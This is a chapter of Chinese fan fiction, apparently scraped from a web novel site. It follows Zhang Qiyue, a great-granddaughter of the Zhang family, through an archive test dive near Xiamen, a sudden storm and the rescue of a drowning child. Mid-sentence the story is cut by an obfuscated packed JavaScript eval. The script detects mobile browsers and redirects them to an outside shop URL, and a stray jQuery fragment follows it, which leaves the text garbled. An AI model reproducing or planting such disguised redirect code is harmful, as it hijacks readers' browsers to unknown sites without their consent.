我叫张启玥,是张启山的曾孙女,我出生时,父母还在青铜门里,我是为数不多的,在门内出生的孩子。
才学会走路的那年,我无意中进入一个洞窟,深处通往未知的空间,等我被父母找到并从里面带出来时,我的左手没了。
手腕的关节留下一道非常工整光滑的横切面,没有流血,也没有疼痛,我懵懂无知,却把父母给吓坏了。
找了好几个月都没有发现我的左手,它就这么离奇的消失了。
这件事一直到我们离开青铜门,将来龙去脉汇报给族长,都是未解之谜。
之后,洞窟就成了守门人不可以靠近的区域,青铜门内的环境诡异重重,也许是我当时触犯了什么禁忌,被迫献祭了一只手。
稍微长大一些,我安了假肢,因为从小就没有左手,没有觉得不便。
随着科技的发展,假肢几乎跟我自己的肌肉和骨骼没有任何区别了,它防水防腐,到我成年时,已经不必再频繁更换,只需定期检修。
但幼时的那场诡异经历还是对我的身体造成了影响,我的体能远不如同龄的张家孩子,尽管这年头并不强行要求16岁必须靠放野证明自己在张家的地位与价值,但一些传统的仪式还是保留了下来。
在放野中成功完成任务的孩子能参与张家内部的行动,得到特殊的教育和技能传授,而失败的,只需要像普通人那样上大学就好。
我是后者。
于是,我学了医,在张家,大部分没有通过放野测试的孩子都会选择学医,或者做考古。
我不知道自己算不算医学奇才,毕业那年,我才20岁,而我考进医科大学时,是16岁,但我依然不是最快毕业的张家孩子。
同年,我接到南部档案馆的通知,成为管理者的一员,交接手续非常简单,我来到档案馆报道时留下了指纹和信息,可以翻阅一些基本资料。
我有些意外,张家会让我这个没有通过放野的孩子进入档案馆。
南部档案馆成立的目的是调查南洋各地的奇门诡事,上报给张家本部,已经有超过300多年的历史,最初叫南洋档案馆,总部在马来西亚,后迁至厦门。
档案馆曾一度被抹杀,而后在张启山的援手下又重新建立起来,里面的资料已经不如最初那样完整了。
可即便如此,南部档案馆依然是张家的内部机构。
如今很少再有新鲜的卷宗添加进来,这里更像情报站,某些任务的消息,会从档案馆发布。
“海”字辈的张家人偶尔也来此处开会。
之前的管理员叫张海楼,是现存张家人里活得最久的那一批,周围的人都叫他小张哥。
印象中,我见过他一次,在刚满10岁那年的生日宴上,他来找我父母议事,送了我一个八音盒。
但也是仅有的一次,张家的元老离我们这些新生代太远了。
我还以为会是这位“小张哥”教我该怎么在档案馆做事,结果他人并不在这里,也没人告诉我应该干什么。
馆内事务清闲,我不用每天待在这里,仍然可以去当地的医院做自己的本职工作。
基本上,我就只是个挂名的员工。
馆内除了我,还有一个张家人负责接待业务,我们看起来年龄差不多,但我知道他比我年长,也许是年龄差距太大的关系,我们之间很少交流,张家的“老”人向来不多话。
“我叫张海岳,你先自己熟悉一下。”
这是我见到他时的第一句话,张海岳给了我一块表,这块表是南部档案馆的标配,上面有寄居蟹的图案,据说是从档案馆创立之初就有的规矩。在当时那个年代,表这种物件可谓价值连城,如今也不过是多了上下班打卡,人员定位的作用。
我们就这么做了一段时间的点头之交。
这天,张海岳给了我一个包裹,说是族长从广西寄来的,里面有需要我完成的任务,成功之后,我才有资格了解档案馆的机要密宗。
我知道这是上面对我的考验,16岁那年失败了一次,现在的我,还是想要再挑战一回。
包裹里放着两样东西,一张30厘米大小的人皮和一张相同尺寸的地图,地图有残缺,看不出具体方位。
我的第一个考题是要通过它们得到任务的目的地。
这对我而言不难,我将人皮在蒸气上烘烤,没多久便显出彩色的图案,是一副用张家人特有的遇热显形颜料绘制出来的穷奇。
在张家,有那么一批行事神秘的人纹着穷奇,他们是张家的利刃。
我把地图和人皮叠在一起,透过光补全了目标地的准确位置。
那是我熟悉的海岛,就在厦门,虽然我出生青铜门内,但父母后来一直在厦门定居,我经常在各个海岛度假,也接受一些基本的格斗技巧训练。
按照张家的惯例,我肯定是要从那片海岛带回一样东西证明自己的实力,具体是什么还没有答案,要去看了才能知道。
我整理好装备,租了一艘快艇就出发了,临行前,张海岳叮嘱我,今晚是满月,要注意风暴。
凡是关于海上的活动我都非常熟练,无论是驾船还是潜水,但在人才辈出的张家,我就只是他们中非常普通的一员,即便如此,哪怕我才20岁,还是可以独立的完成很多事。
来到海岛中心,我找到了几处线索,海底有我需要得到的信物,这是有人提前布置好的,就是为了针对考核我的考场。
我换了潜水服和氧气瓶,按照指示入海,在海底约莫100米深度的地方,我看到了成片的珊瑚群,在珊瑚群的深处,数不清的六角铜铃就掩藏在里面。
我严正以待,这东西能使人致幻,即便是在深海中,也能依靠水波的震荡传递出人耳难辨的波动。
突然,水下温测仪发出警示的闪光。
那是一款智能表的外形,可以通讯,联网,显示水温,以及我的身体情况。
智能表连接着快艇的电脑系统,表盘显示有风暴正在靠近这片海域,我大惊,赶紧往海面游去。
来时我就查过,这几日天气晴朗,别说风暴,连海风都是温柔的,可我不过就是下来了半个小时,海面竟然波涛汹涌。
来不及去想风暴突袭的原因,我费力爬上快艇,发动引擎想要离开暴风圈,船身相当不稳,我必须尽快找到避风的地方。
再熟悉海的老江湖都怕风暴。
小快艇经不起这样的大风大浪,很快便撞上礁石熄火,我不得不背上氧气管,把基本的求生装备一并带上,跳入了海里。
耳边呼啸的狂风顿时没了声息,我潜入海中20米的深度之后,周围的海水变得异常平静,我透过潜水镜往上看,依然能隐约感受到风暴掀起海浪的惊涛。
可氧气罐只够使用半个小时,我必须在30分钟内游到没有风暴的地方,这次考核的任务难度出乎我的意料,尽管海上的天气风云变幻,但毫无征兆的暴风雨还是让我感到棘手。
跳海前,我已经发出了求救信号,这意味着我的任务可能又要以失败告终。
30分钟后,我扔掉了沉重的氧气罐,接下来的一刻钟,我靠憋气又游了很长一段距离,直到我的体力和肺都到了极限,才不得不拼命往海面上浮。
希望自己的努力没有白费,我已经游出了风暴圈,又或者此时的风浪已经小了。
我飞快冒出头,大口的呼吸,偶有海水灌进嘴里,我咳嗽了几声。
头顶是高照的艳阳,我大喜过望,觉得自己真是太走运了。
我摆动四肢,寻找着可供攀爬的礁石,我需要休息,然后再发送一次求救信号,给他们新的定位。
不远处有退潮才会露出的浅滩,我深吸一口气,朝着那个方向游过去,很快便上了岸。
我倒在地上不断喘息,身为“普通”的张家人,经历这样的死里逃生还是头一次,我没有受过太严苛的训练,小时候那次断手经历,让父母对我唯一的期望就是平安长大,至于我是否能被张家高层看中,他们完全没有指望。
就目前的状态来看,显然难以平安,我对着表盘敲击两下,求救信息没有按照设定的程序发送成功。
我使用的是卫星网络,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946298|136548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只要附近不是有强烈磁场的干扰都能接收信号,智能表没有反应,不太正常。
我赶紧坐起来调试。
远处传来求救的声音,在这片荒无人烟的海域能听见人声,我倒是有些振奋。
我起身朝声音传来的方向看去,几个孩子在海面扑腾着,距离比我想象的远一些,大概有5,60米。
视力大概是我唯一引以为傲的优势,我可以看到很远,所以在射击方面,我还算出类拔萃。
我不确定是不是出生在青铜门里的原因,那个地方总是容易给予新生儿一些天赋异禀的东西。
为了弥补体能的不足,我尽全力将自己的射击技巧开发到了极致。
孩子们的声音穿透力很强,就这么传到了我这里,说的是当地的方言,似乎有人溺水,但周围却没有其他大人。
我深呼吸了几次,跳入海中,朝那边游了过去。
一来是为了救人,二来,这里有孩子,就表示附近的岛屿肯定有住户,我急需向外界联系救援。
很快,我来到孩子们身边,他们看到我,都露出惊愕的表情,像是没料到这里会出现别人。
“溺水的人在哪儿?”我问向近前的孩子,他的头发齐肩长,湿漉漉的搭在脸上。
他长相清秀,上半身穿着小背心,我一时分不清是男孩儿还是女孩儿。
那孩子道:“我听不懂官话。”
我愣住,对方的口音是闽南语,我已经很久没有在厦门听本地人说方言了,无论大人小孩儿,日常的交流都是普通话,而且,也没有当地人听不懂普通话的时候。
而且他说的是“官话”,真是莫名的措辞。
救人要紧,更何况我的体力也透支得厉害,我懒得计较,于是对他用闽南语又重复了一遍。
那孩子立刻朝我的右侧一指:“我朋友下去捉鱼,好一会儿了都没上来。”
我对海面上的孩子道:“你们都上岸去,赶紧把大人找来,还有救护车,让大人联系救护车。”说完我就一头潜入水里。
几个孩子面面相觑,对我的吩咐表现得十分茫然。
海水清澈,能见度很高,我刚游下去7,8米,就看到了一个小小的身影。
我朝那个影子快速游去,果然也是个小孩儿,他浮在水中没了动静,怀里抱着一条鲷鱼,用匕首插着,已经死了,我赶紧拖着这倒霉孩子浮出水面,他却还死死地抱着鱼。
刚才那些孩子迅速围了上来,我见状呵斥道:“你们怎么还在这里!”不知是谁家的父母,竟然敢让他们游到海中间来,人都快挂一个了,竟然完全没求生常识。
我顾不得其他,托举着溺水的小孩儿游上岸,我已经快要累得虚脱了,却还是立即进行了紧急施救。
其他孩子见状,只是愣愣地看着我。
我说不出话来,只当这些孩子吓懵了,开始对溺水的这个做人工呼吸和胸腔按压。
没多久,溺水儿童咳嗽两声,吐了不少呛进肺里的海水,接着睁眼,算是救过来了。
孩子们一句话都没有说,就这么注视着我,我有点无语,但又没力气抱怨。
那个让我分不清男女的孩子对我开口道:“你是美人鱼吗?”
他的声音清脆干净,似男似女,但我还是通过他脖颈上的喉结判断对方原来是个男孩子。
这时,我突然发现,眼前的这群孩子头发都很长,要么齐肩,要么到腰,他们之中只有两个是女孩子,其余全是男孩儿。
虽然穿着单薄,可我还是从他们衣服和裤子的样式察觉到了异样:“这是什么地方?”我问向那个男孩儿。
“大角礁。”男孩儿道。
大脚脚?我有些好笑,又很无奈,跟一群看起来只有8,9岁的孩子交流竟然这么有难度。
我摇头起身,猜测附近有个渔村,刚想让他们给我带路,一阵晕眩瞬间袭来,我直接倒了下去,好在男孩儿眼疾手快地扶住了我,才没有直接摔在硬邦邦的地上。
我抓着那个男孩儿,用尽全力对他说:“去叫你们的大人过来,快去……”